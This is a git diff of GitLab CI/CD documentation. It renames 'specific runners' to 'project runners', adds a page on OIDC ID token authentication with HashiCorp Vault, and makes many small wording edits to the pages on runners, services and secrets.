-```plaintext -https://gitlab.example.com/<namespace>/<project>/-/badges/release.svg?order_by=release_at -``` - -### Badge styles - -Pipeline badges can be rendered in different styles by adding the `style=style_name` parameter to the URL. Two styles are available: - -- Flat (default): - - ```plaintext - https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat - ``` - -  - -- Flat square ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8): - - ```plaintext - https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square - ``` - -  - -### Custom badge text - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17555) in GitLab 13.1. - -The text for a badge can be customized to differentiate between multiple coverage jobs that run in the same pipeline. Customize the badge text and width by adding the `key_text=custom_text` and `key_width=custom_key_width` parameters to the URL: - -```plaintext -https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130 -``` - - +You can use [pipeline badges](../../user/project/badges.md) to indicate the pipeline status and +test coverage of your projects. These badges are determined by the latest successful pipeline. <!-- ## Troubleshooting diff --git a/doc/ci/resource_groups/index.md b/doc/ci/resource_groups/index.md index b46008abb07..7cf71f2a3ea 100644 --- a/doc/ci/resource_groups/index.md +++ b/doc/ci/resource_groups/index.md @@ -235,7 +235,7 @@ If the process mode is `oldest_first`, it executes the jobs from the oldest pipe However, a child pipeline also requires a resource from the `production` resource group. Because the child pipeline is newer than the parent pipeline, the child pipeline -waits until the `deploy` job is finished, something that will never happen. +waits until the `deploy` job is finished, something that never happens. In this case, you should specify the `resource_group` keyword in the parent pipeline configuration instead: diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md index 28a856e3dda..0fd4bff1bff 100644 --- a/doc/ci/runners/configure_runners.md +++ b/doc/ci/runners/configure_runners.md @@ -28,7 +28,7 @@ On GitLab.com, you cannot override the job timeout for shared runners and must u To set the maximum job timeout: 1. In a project, go to **Settings > CI/CD > Runners**. -1. Select your specific runner to edit the settings. +1. Select your project runner to edit the settings. 1. Enter a value under **Maximum job timeout**. Must be 10 minutes or more. If not defined, the [project's job timeout setting](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run) is used. @@ -89,7 +89,7 @@ To protect or unprotect a runner: 1. Check the **Protected** option. 1. Select **Save changes**. - + ### Forks @@ -150,7 +150,7 @@ the source of the HTTP requests it makes to GitLab when polling for jobs. The IP address is always kept up to date so if the runner IP changes it automatically updates in GitLab. -The IP address for shared runners and specific runners can be found in +The IP address for shared runners and project runners can be found in different places. ### Determine the IP address of a shared runner @@ -164,16 +164,16 @@ the GitLab instance. To determine this:  -### Determine the IP address of a specific runner +### Determine the IP address of a project runner -To can find the IP address of a runner for a specific project, +To can find the IP address of a runner for a project project, you must have the Owner role for the project. 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. 1. On the details page you should see a row for **IP Address**. - + ## Use tags to control which jobs a runner can run @@ -355,7 +355,7 @@ try to preserve worktrees and try to re-use them by default. This has limitations when using the [Docker Machine executor](https://docs.gitlab.com/runner/executors/docker_machine.html). A Git strategy of `none` also re-uses the local working copy, but skips all Git -operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped, +operations usually done by GitLab. GitLab Runner pre-clone scripts are also skipped, if present. This strategy could mean you need to add `fetch` and `checkout` commands to [your `.gitlab-ci.yml` script](../yaml/index.md#script). @@ -535,14 +535,14 @@ You can set it globally or per-job in the [`variables`](../yaml/index.md#variabl `GIT_SUBMODULE_UPDATE_FLAGS` accepts all options of the [`git submodule update`](https://git-scm.com/docs/git-submodule#Documentation/git-submodule.txt-update--init--remote-N--no-fetch--no-recommend-shallow-f--force--checkout--rebase--merge--referenceltrepositorygt--depthltdepthgt--recursive--jobsltngt--no-single-branch--ltpathgt82308203) -subcommand. However, note that `GIT_SUBMODULE_UPDATE_FLAGS` flags are appended after a few default flags: +subcommand. However, `GIT_SUBMODULE_UPDATE_FLAGS` flags are appended after a few default flags: - `--init`, if [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy) was set to `normal` or `recursive`. - `--recursive`, if [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy) was set to `recursive`. - [`GIT_DEPTH`](#shallow-cloning). See the default value below. Git honors the last occurrence of a flag in the list of arguments, so manually -providing them in `GIT_SUBMODULE_UPDATE_FLAGS` will also override these default flags. +providing them in `GIT_SUBMODULE_UPDATE_FLAGS` overrides these default flags. You can use this variable to fetch the latest remote `HEAD` instead of the commit tracked, in the repository, or to speed up the checkout by fetching submodules in multiple parallel jobs: @@ -668,7 +668,7 @@ variables: test: script: - - pwd + - pwd -P ``` The `$CI_CONCURRENT_PROJECT_ID` should be used in conjunction with `$CI_PROJECT_PATH` @@ -680,7 +680,7 @@ variables: test: script: - - pwd + - pwd -P ``` #### Nested paths @@ -779,7 +779,7 @@ variables: NOTE: Zip archives are the only supported artifact type. Follow [the issue for details](https://gitlab.com/gitlab-org/gitlab/-/issues/367203). -GitLab Runner can generate and produce attestation metadata for all build artifacts. To enable this feature, you must set the `RUNNER_GENERATE_ARTIFACTS_METADATA` environment variable to `true`. This variable can either be set globally or it can be set for individual jobs. The metadata is in rendered in a plain text `.json` file that's stored with the artifact. The file name is as follows: `{ARTIFACT_NAME}-metadata.json` where `ARTIFACT_NAME` is what was defined as the [name for the artifact](../pipelines/job_artifacts.md#use-cicd-variables-to-define-the-artifacts-name) in the CI file. The file name, however, defaults to `artifacts-metadata.json` if no name was given to the build artifacts. +GitLab Runner can generate and produce attestation metadata for all build artifacts. To enable this feature, you must set the `RUNNER_GENERATE_ARTIFACTS_METADATA` environment variable to `true`. This variable can either be set globally or it can be set for individual jobs. The metadata is in rendered in a plain text `.json` file that's stored with the artifact. The filename is as follows: `{ARTIFACT_NAME}-metadata.json` where `ARTIFACT_NAME` is what was defined as the [name for the artifact](../pipelines/job_artifacts.md#use-cicd-variables-to-define-the-artifacts-name) in the CI file. The filename, however, defaults to `artifacts-metadata.json` if no name was given to the build artifacts. ### Attestation format @@ -801,7 +801,7 @@ The attestation metadata is generated in the [in-toto attestation format](https: | `predicate.invocation.environment.architecture` | The architecture on which the CI job is run. | | `predicate.invocation.parameters` | The names of any CI/CD or environment variables that were present when the build command was run. The value is always represented as an empty string to avoid leaking any secrets. | | `metadata.buildStartedOn` | The time when the build was started. `RFC3339` formatted. | -| `metadata.buildEndedOn` | The time when the build ended. Since metadata generation happens during the build this moment in time will be slightly earlier than the one reported in GitLab. `RFC3339` formatted. | +| `metadata.buildEndedOn` | The time when the build ended. Since metadata generation happens during the build this moment in time is slightly earlier than the one reported in GitLab. `RFC3339` formatted. | | `metadata.reproducible` | Whether the build is reproducible by gathering all the generated metadata. Always `false`. | | `metadata.completeness.parameters` | Whether the parameters are supplied. Always `true`. | | `metadata.completeness.environment` | Whether the builder's environment is reported. Always `true`. | @@ -893,7 +893,7 @@ sequentially. To avoid writing to disk and reading the contents back for smaller files, a small buffer per concurrency is used. This setting can be controlled with `FASTZIP_ARCHIVER_BUFFER_SIZE`. The default size for this buffer is 2 MiB, therefore, a -concurrency of 16 will allocate 32 MiB. Data that exceeds the buffer size will be written to and read back from disk. +concurrency of 16 allocates 32 MiB. Data that exceeds the buffer size is written to and read back from disk. Therefore, using no buffer, `FASTZIP_ARCHIVER_BUFFER_SIZE: 0`, and only scratch space is a valid option. `FASTZIP_ARCHIVER_CONCURRENCY` controls how many files are compressed concurrency. As mentioned above, this setting diff --git a/doc/ci/runners/img/specific_runner_ip_address.png b/doc/ci/runners/img/project_runner_ip_address.png Binary files differindex e08663109ba..e08663109ba 100644 --- a/doc/ci/runners/img/specific_runner_ip_address.png +++ b/doc/ci/runners/img/project_runner_ip_address.png diff --git a/doc/ci/runners/runners_scope.md b/doc/ci/runners/runners_scope.md index 6354a519810..d20ef846df7 100644 --- a/doc/ci/runners/runners_scope.md +++ b/doc/ci/runners/runners_scope.md @@ -11,8 +11,8 @@ Runners are available based on who you want to have access: - [Shared runners](#shared-runners) are available to all groups and projects in a GitLab instance. - [Group runners](#group-runners) are available to all projects and subgroups in a group. -- [Specific runners](#specific-runners) are associated with specific projects. - Typically, specific runners are used for one project at a time. +- [Project runners](#project-runners) are associated with specific projects. + Typically, project runners are used by one project at a time. ## Shared runners @@ -109,9 +109,7 @@ shared runner resources. The fair usage queue algorithm assigns jobs based on the projects that have the fewest number of jobs already running on shared runners. -**Example 1** - -If these jobs are in the queue: +For example, if these jobs are in the queue: - Job 1 for Project 1 - Job 2 for Project 1 @@ -120,7 +118,7 @@ If these jobs are in the queue: - Job 5 for Project 2 - Job 6 for Project 3 -The fair usage algorithm assigns jobs in this order: +When several CI/CD jobs run concurrently, the fair usage algorithm assigns jobs in this order: 1. Job 1 is first, because it has the lowest job number from projects with no running jobs (that is, all projects). 1. Job 4 is next, because 4 is now the lowest job number from projects with no running jobs (Project 1 has a job running). @@ -129,20 +127,7 @@ The fair usage algorithm assigns jobs in this order: 1. Job 5 is next, because Project 1 now has 2 jobs running and Job 5 is the lowest remaining job number between Projects 2 and 3. 1. Finally is Job 3... because it's the only job left. ---- - -**Example 2** - -If these jobs are in the queue: - -- Job 1 for Project 1 -- Job 2 for Project 1 -- Job 3 for Project 1 -- Job 4 for Project 2 -- Job 5 for Project 2 -- Job 6 for Project 3 - -The fair usage algorithm assigns jobs in this order: +When only one job runs at a time, the fair usage algorithm assigns jobs in this order: 1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). 1. We finish Job 1. @@ -172,7 +157,7 @@ To create a group runner: 1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). 1. On the top bar, select **Main menu > Groups** and find your group. 1. On the left sidebar, select **CI/CD > Runners**. -1. In the top-right corner, select **Register a group runner**. +1. In the upper-right corner, select **Register a group runner**. 1. Select **Show runner installation and registration instructions**. These instructions include the token, URL, and a command to register a runner. @@ -241,78 +226,78 @@ You must have the Owner role for the group. You must remove it from each project first. 1. On the confirmation dialog, select **OK**. -## Specific runners +## Project runners -Use _specific runners_ when you want to use runners for specific projects. For example, +Use _project runners_ when you want to use runners for specific projects. For example, when you have: - Jobs with specific requirements, like a deploy job that requires credentials. - Projects with a lot of CI activity that can benefit from being separate from other runners. -You can set up a specific runner to be used by multiple projects. Specific runners +You can set up a project runner to be used by multiple projects. Project runners must be enabled for each project explicitly. -Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. +Project runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. NOTE: -Specific runners do not get shared with forked projects automatically. +Project runners do not get shared with forked projects automatically. A fork *does* copy the CI/CD settings of the cloned repository. -### Create a specific runner +### Create a project runner -You can create a specific runner for your self-managed GitLab instance or for GitLab.com. +You can create a project runner for your self-managed GitLab instance or for GitLab.com. Prerequisite: - You must have at least the Maintainer role for the project. -To create a specific runner: +To create a project runner: 1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). 1. On the top bar, select **Main menu > Projects** and find the project where you want to use the runner. 1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Runners**. -1. In the **Specific runners** section, note the URL and token. +1. In the **Project runners** section, note the URL and token. 1. [Register the runner](https://docs.gitlab.com/runner/register/). The runner is now enabled for the project. -### Enable a specific runner for a different project +### Enable a project runner for a different project -After a specific runner is created, you can enable it for other projects. +After a project runner is created, you can enable it for other projects. Prerequisites: You must have at least the Maintainer role for: - The project where the runner is already enabled. - The project where you want to enable the runner. -- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). +- The project runner must not be [locked](#prevent-a-project-runner-from-being-enabled-for-other-projects). -To enable a specific runner for a project: +To enable a project runner for a project: 1. On the top bar, select **Main menu > Projects** and find the project where you want to enable the runner. 1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Runners**. -1. In the **Specific runners** area, by the runner you want, select **Enable for this project**. +1. In the **Project runners** area, by the runner you want, select **Enable for this project**. -You can edit a specific runner from any of the projects it's enabled for. +You can edit a project runner from any of the projects it's enabled for. The modifications, which include unlocking and editing tags and the description, affect all projects that use the runner. -An administrator can [enable the runner for multiple projects](../../user/admin_area/settings/continuous_integration.md#enable-a-specific-runner-for-multiple-projects). +An administrator can [enable the runner for multiple projects](../../user/admin_area/settings/continuous_integration.md#enable-a-project-runner-for-multiple-projects). -### Prevent a specific runner from being enabled for other projects +### Prevent a project runner from being enabled for other projects -You can configure a specific runner so it is "locked" and cannot be enabled for other projects. +You can configure a project runner so it is "locked" and cannot be enabled for other projects. This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/), but can also be changed later. -To lock or unlock a specific runner: +To lock or unlock a project runner: 1. On the top bar, select **Main menu > Projects** and find the project where you want to enable the runner. 1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Runners**. -1. Find the specific runner you want to lock or unlock. Make sure it's enabled. You cannot lock shared or group runners. +1. Find the project runner you want to lock or unlock. Make sure it's enabled. You cannot lock shared or group runners. 1. Select **Edit** (**{pencil}**). 1. Select the **Lock to current projects** checkbox. 1. Select **Save changes**. diff --git a/doc/ci/runners/saas/linux_saas_runner.md b/doc/ci/runners/saas/linux_saas_runner.md index 9c380886812..58c8a6d0815 100644 --- a/doc/ci/runners/saas/linux_saas_runner.md +++ b/doc/ci/runners/saas/linux_saas_runner.md @@ -24,7 +24,7 @@ For Free, Premium, and Ultimate plan customers, jobs on these instances consume The `small` machine type is the default. Your job runs on this machine type if you don't specify a [tags:](../../yaml/index.md#tags) keyword in your `.gitlab-ci.yml` file. -CI/CD jobs that run on `medium` and `large` machine types **will** consume CI minutes at a different rate than CI/CD jobs on the `small` machine type. +CI/CD jobs that run on `medium` and `large` machine types consumes CI minutes at a different rate than CI/CD jobs on the `small` machine type. Refer to the CI/CD minutes [cost factor](../../../ci/pipelines/cicd_minutes.md#cost-factor) for the cost factor applied to the machine type based on size. @@ -167,7 +167,7 @@ from the GitLab repository. `CI_REPO_CACHE_CREDENTIALS` must contain the Google Cloud service account JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. -Note that this bucket should be located in the same continent as the +This bucket should be located in the same continent as the runner, or [you can incur network egress charges](https://cloud.google.com/storage/pricing). ## `config.toml` diff --git a/doc/ci/runners/saas/macos_saas_runner.md b/doc/ci/runners/saas/macos_saas_runner.md index 270f85e65e2..96e294ff828 100644 --- a/doc/ci/runners/saas/macos_saas_runner.md +++ b/doc/ci/runners/saas/macos_saas_runner.md @@ -84,3 +84,4 @@ In SaaS runners on macOS, the objective is to make 90% of CI jobs start executin - If the VM image does not include the specific software version you need for your job, then the job execution time will increase as the required software needs to be fetched and installed. - At this time, it is not possible to bring your own OS image. +- The keychain for user `gitlab` is not publicly available. You must create a keychain instead. diff --git a/doc/ci/secrets/id_token_authentication.md b/doc/ci/secrets/id_token_authentication.md new file mode 100644 index 00000000000..f622bc2a7b1 --- /dev/null +++ b/doc/ci/secrets/id_token_authentication.md @@ -0,0 +1,165 @@ +--- +stage: Verify +group: Pipeline Authoring +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +type: tutorial +--- + +# OpenID Connect (OIDC) Authentication Using ID Tokens **(FREE)** + +You can authenticate with third party services using GitLab CI/CD's +[ID tokens](../yaml/index.md#id_tokens). + +## ID Tokens + +[ID tokens](../yaml/index.md#id_tokens) are JSON Web Tokens (JWTs) that can be added to a GitLab CI/CD job. They can be used for OIDC +authentication with third-party services, and are used by the [`secrets`](../yaml/index.md#secrets) keyword to authenticate with HashiCorp Vault. + +ID tokens are configured in the `.gitlab-ci.yml`. For example: + +```yaml +job_with_id_tokens: + id_tokens: + FIRST_ID_TOKEN: + aud: https://first.service.com + SECOND_ID_TOKEN: + aud: https://second.service.com + script: + - first-service-authentication-script.sh $FIRST_ID_TOKEN + - second-service-authentication-script.sh $SECOND_ID_TOKEN +``` + +In this example, the two tokens have different `aud` claims. Third party services can be configured to reject tokens +that do not have an `aud` claim matching their bound audience. Use this functionality to reduce the number of +services with which a token can authenticate. This reduces the severity of having a token compromised. + +### Token payload + +The following fields are included in each ID token: + +| Field | When | Description | +|-------------------------|------------------------------|-------------| +| [`aud`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.3) | Always | Intended audience for the token ("audience" claim). Configured in GitLab the CI/CD configuration. The domain of the GitLab instance by default. | +| [`exp`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.4) | Always | The expiration time ("expiration time" claim). | +| [`iat`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.6) | Always | The time the JWT was issued ("issued at" claim). | +| [`iss`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.1) | Always | Issuer of the token, which is the domain of the GitLab instance ("issuer" claim). | +| [`jti`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.7) | Always | Unique identifier for the token ("JWT ID" claim). | +| [`nbf`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.5) | Always | The time after which the token becomes valid ("not before" claim). | +| [`sub`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.2) | Always | The job ID ("subject" claim). | +| `deployment_tier` | Job specifies an environment | [Deployment tier](../environments/index.md#deployment-tier-of-environments) of the environment the job specifies. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/363590) in GitLab 15.2. | +| `environment_protected` | Job specifies an environment | `true` if specified environment is protected, `false` otherwise. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294440) in GitLab 13.9. | +| `environment` | Job specifies an environment | Environment the job specifies. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294440) in GitLab 13.9. | +| `job_id` | Always | ID of the job. | +| `namespace_id` | Always | Use to scope to group or user level namespace by ID. | +| `namespace_path` | Always | Use to scope to group or user level namespace by path. | +| `pipeline_id` | Always | ID of the pipeline. | +| `pipeline_source` | Always | [Pipeline source](../jobs/job_control.md#common-if-clauses-for-rules). | +| `project_id` | Always | Use to scope to project by ID. | +| `project_path` | Always | Use to scope to project by path. | +| `ref_protected` | Always | `true` if the Git ref is protected, `false` otherwise. | +| `ref_type` | Always | Git ref type, either `branch` or `tag`. | +| `ref` | Always | Git ref for the job. | +| `user_email` | Always | Email of the user executing the job. | +| `user_id` | Always | ID of the user executing the job. | +| `user_login` | Always | Username of the user executing the job. | + +Example ID token payload: + +```json +{ + "jti": "c82eeb0c-5c6f-4a33-abf5-4c474b92b558", + "aud": "hashicorp.example.com", + "iss": "gitlab.example.com", + "iat": 1585710286, + "nbf": 1585798372, + "exp": 1585713886, + "sub": "job_1212", + "namespace_id": "1", + "namespace_path": "mygroup", + "project_id": "22", + "project_path": "mygroup/myproject", + "user_id": "42", + "user_login": "myuser", + "user_email": "myuser@example.com", + "pipeline_id": "1212", + "pipeline_source": "web", + "job_id": "1212", + "ref": "auto-deploy-2020-04-01", + "ref_type": "branch", + "ref_protected": "true", + "environment": "production", + "environment_protected": "true" +} +``` + +The ID token is encoded by using RS256 and signed with a dedicated private key. The expiry time for the token is set to +the job's timeout if specified, or 5 minutes if no timeout is specified. + +## Manual ID Token authentication + +You can use ID tokens for OIDC authentication with a third party service. For example: + +```yaml +manual_authentication: + variables: + VAULT_ADDR: http://vault.example.com:8200 + image: vault:latest + id_tokens: + VAULT_ID_TOKEN: + aud: http://vault.example.com:8200 + script: + - export VAULT_TOKEN="$(vault write -field=token auth/jwt/login role=myproject-example jwt=$VAULT_ID_TOKEN)" + - export PASSWORD="$(vault kv get -field=password secret/myproject/example/db)" + - my-authentication-script.sh $VAULT_TOKEN $PASSWORD +``` + +## Automatic ID Token authentication with HashiCorp Vault **(PREMIUM)** + +You can use ID tokens to automatically fetch secrets from HashiCorp Vault with the +[`secrets`](../yaml/index.md#secrets) keyword. + +### Enable automatic ID token authentication + +To enable automatic ID token authentication: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Token Access**. +1. Toggle **Limit JSON Web Token (JWT) access** to enabled. + +### Configure automatic ID Token authentication + +If one ID token is defined, the `secrets` keyword automatically uses it to authenticate with Vault. For example: + +```yaml +job_with_secrets: + id_tokens: + VAULT_ID_TOKEN: + aud: https://example.vault.com + secrets: + PROD_DB_PASSWORD: + vault: example/db/password # authenticates using $VAULT_ID_TOKEN + script: + - access-prod-db.sh --token $PROD_DB_PASSWORD +``` + +If more than one ID token is defined, use the `token` keyword to specify which token should be used. For example: + +```yaml +job_with_secrets: + id_tokens: + FIRST_ID_TOKEN: + aud: https://first.service.com + SECOND_ID_TOKEN: + aud: https://second.service.com + secrets: + FIRST_DB_PASSWORD: + vault: first/db/password + token: $FIRST_ID_TOKEN + SECOND_DB_PASSWORD: + vault: second/db/password + token: $SECOND_ID_TOKEN + script: + - access-first-db.sh --token $FIRST_DB_PASSWORD + - access-second-db.sh --token $SECOND_DB_PASSWORD +``` diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index ba12508beeb..14f771431e5 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -23,10 +23,16 @@ GitLab has selected [Vault by HashiCorp](https://www.vaultproject.io) as the first supported provider, and [KV-V2](https://developer.hashicorp.com/vault/docs/secrets/kv/kv-v2) as the first supported secrets engine. -GitLab authenticates using Vault's +By default, GitLab authenticates using Vault's [JSON Web Token (JWT) authentication method](https://developer.hashicorp.com/vault/docs/auth/jwt#jwt-authentication), using -the [JSON Web Token](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) (`CI_JOB_JWT`) -introduced in GitLab 12.10. +the [JSON Web Token](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) (`CI_JOB_JWT`). + +[ID tokens](../yaml/index.md#id_tokens) is the preferred secure way to authenticate with Vault, +because ID tokens are defined per-job. GitLab can also authenticate with Vault by using the `CI_JOB_JWT`, +but that token is provided to every job, which can be a security risk. + +The [Authenticating and Reading Secrets With HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) +tutorial has more details about authenticating with ID tokens. You must [configure your Vault server](#configure-your-vault-server) before you can use [use Vault secrets in a CI job](#use-vault-secrets-in-a-ci-job). @@ -106,9 +112,14 @@ After [configuring your Vault server](#configure-your-vault-server), you can use the secrets stored in Vault by defining them with the `vault` keyword: ```yaml -secrets: - DATABASE_PASSWORD: - vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` +job_using_vault: + id_tokens: + VAULT_ID_TOKEN: + aud: https://gitlab.com + secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` + token: $VAULT_ID_TOKEN ``` In this example: @@ -125,9 +136,13 @@ To overwrite the default behavior, set the `file` option explicitly: ```yaml secrets: + id_tokens: + VAULT_ID_TOKEN: + aud: https://gitlab.com DATABASE_PASSWORD: vault: production/db/password@ops file: false + token: $VAULT_ID_TOKEN ``` In this example, the secret value is put directly in the `DATABASE_PASSWORD` variable @@ -177,8 +192,8 @@ Always restrict your roles to a project or namespace by using one of the provide claims like `project_id` or `namespace_id`. Without these restrictions, any JWT generated by this GitLab instance may be allowed to authenticate using this role. -For a full list of `CI_JOB_JWT` claims, read the -[How it works](../examples/authenticating-with-hashicorp-vault/index.md#how-it-works) section of the +For a full list of ID token JWT claims, read the +[How It Works](../examples/authenticating-with-hashicorp-vault/index.md#how-it-works) section of the [Authenticating and Reading Secrets With HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) tutorial. You can also specify some attributes for the resulting Vault tokens, such as time-to-live, @@ -188,7 +203,7 @@ for the JSON web token method. ## Using a self-signed Vault server -When the Vault server is using a self-signed certificate, you will see the following error in the job logs: +When the Vault server is using a self-signed certificate, you see the following error in the job logs: ```plaintext ERROR: Job failed (system failure): resolving secrets: initializing Vault service: preparing authenticated client: checking Vault server health: Get https://vault.example.com:8000/v1/sys/health?drsecondarycode=299&performancestandbycode=299&sealedcode=299&standbycode=299&uninitcode=299: x509: certificate signed by unknown authority @@ -197,7 +212,7 @@ ERROR: Job failed (system failure): resolving secrets: initializing Vault servic You have two options to solve this error: - Add the self-signed certificate to the GitLab Runner server's CA store. - If you deployed GitLab Runner using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), you will have to create your own GitLab Runner image. + If you deployed GitLab Runner using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), you have to create your own GitLab Runner image. - Use the `VAULT_CACERT` environment variable to configure GitLab Runner to trust the certificate: - If you are using systemd to manage GitLab Runner, see [how to add an environment variable for GitLab Runner](https://docs.gitlab.com/runner/configuration/init.html#setting-custom-environment-variables). - If you deployed GitLab Runner using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html): diff --git a/doc/ci/secure_files/index.md b/doc/ci/secure_files/index.md index 32bc4f2d758..10baa57cabb 100644 --- a/doc/ci/secure_files/index.md +++ b/doc/ci/secure_files/index.md @@ -28,10 +28,6 @@ Secure files can be [downloaded and used by CI/CD jobs](#use-secure-files-in-cic by using the [download-secure-files](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/download-secure-files) tool. -NOTE: -This feature is in active development and is likely to change, potentially in a breaking way. -Additional features and capabilities are planned. - ## Add a secure file to a project To add a secure file to a project: diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md index f2ea969f430..bd31f1b8e91 100644 --- a/doc/ci/services/gitlab.md +++ b/doc/ci/services/gitlab.md @@ -26,7 +26,7 @@ tests access to the GitLab API. NOTE: Variables set in the GitLab UI are not passed down to the service containers. -[Learn more](../variables/index.md#). +For more information, see [GitLab CI/CD variables](../variables/index.md). Then, commands in `script` sections in your `.gitlab-ci.yml` file can access the API at `http://gitlab/api/v4`. diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md index bbd2f822481..f26751c56e7 100644 --- a/doc/ci/services/index.md +++ b/doc/ci/services/index.md @@ -9,7 +9,7 @@ type: index # Services **(FREE)** When you configure CI/CD, you specify an image, which is used to create the container -where your jobs will run. To specify this image, you use the `image` keyword. +where your jobs run. To specify this image, you use the `image` keyword. You can specify an additional image by using the `services` keyword. This additional image is used to create another container, which is available to the first container. @@ -77,6 +77,12 @@ still succeeds even if that warning was printed. For example: as a volume under `/builds`). In that case, the service does its job, and because the job is not trying to connect to it, it does not fail. +If the services start successfully, they start before the +[`before_script`](../../ci/yaml/index.md#before_script) runs. This means you can +write a `before_script` that queries the service. + +Services stop at the end of the job, even if the job fails. + ## What services are not for As mentioned before, this feature is designed to provide **network accessible** @@ -343,7 +349,7 @@ services: command: ["/usr/bin/super-sql", "run"] ``` -The syntax of `command` is similar to [Dockerfile's `CMD`](https://docs.docker.com/engine/reference/builder/#cmd). +The syntax of `command` is similar to [Dockerfile `CMD`](https://docs.docker.com/engine/reference/builder/#cmd). ## Using `services` with `docker run` (Docker-in-Docker) side-by-side @@ -398,10 +404,10 @@ time. Logs generated by applications running in service containers can be captured for subsequent examination and debugging. You might want to look at service container's logs when the service container has started successfully, but is not -behaving es expected, leading to job failures. The logs can indicate missing or incorrect configuration of the service +behaving as expected, leading to job failures. The logs can indicate missing or incorrect configuration of the service within the container. -`CI_DEBUG_SERVICES` should only by enabled when service containers are being actively debugged as there are both storage +`CI_DEBUG_SERVICES` should only be enabled when service containers are being actively debugged as there are both storage and performance consequences to capturing service container logs. To enable service logging, add the `CI_DEBUG_SERVICES` variable to the project's @@ -417,10 +423,10 @@ Accepted values are: - Enabled: `TRUE`, `true`, `True` - Disabled: `FALSE`, `false`, `False` -Any other values will result in an error message and effectively disable the feature. +Any other values result in an error message and effectively disable the feature. -When enabled, logs for _all_ service containers will be captured and streamed into the jobs trace log concurrently with -other logs. Logs from each container will be prefixed with the container's aliases, and displayed in a different color. +When enabled, logs for _all_ service containers are captured and streamed into the jobs trace log concurrently with +other logs. Logs from each container are prefixed with the container's aliases, and displayed in a different color. NOTE: You may want to adjust the logging level in the service container for which you want to capture logs since the default @@ -490,3 +496,8 @@ creation. ## Security when using services containers Docker privileged mode applies to services. This means that the service image container can access the host system. You should use container images from trusted sources only. + +## Shared /builds directory + +Services can access files from the build because all services have the job +directory mounted as a volume under `/builds`. diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index ea11719cef1..e795c4ffc5f 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -18,7 +18,7 @@ This example shows you how to set a username and password that GitLab uses to ac NOTE: Variables set in the GitLab UI are not passed down to the service containers. -[Learn more](../variables/index.md). +For more information, see [GitLab CI/CD variables](../variables/index.md). 1. To specify a MySQL image, add the following to your `.gitlab-ci.yml` file: diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index 139a4a2f742..afb14bd976f 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -18,7 +18,7 @@ you basically have everything set up already. NOTE: Variables set in the GitLab UI are not passed down to the service containers. -[Learn more](../variables/index.md). +For more information, see [GitLab CI/CD variables](../variables/index.md). First, in your `.gitlab-ci.yml` add: diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index ed16a19c7f5..c1154485018 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -28,7 +28,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) ## How it works 1. Create a new SSH key pair locally with [`ssh-keygen`](https://linux.die.net/man/1/ssh-keygen) -1. Add the private key as a [variable](../variables/index.md) to +1. Add the private key as a [file type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) to your project 1. Run the [`ssh-agent`](https://linux.die.net/man/1/ssh-agent) during job to load the private key. @@ -52,7 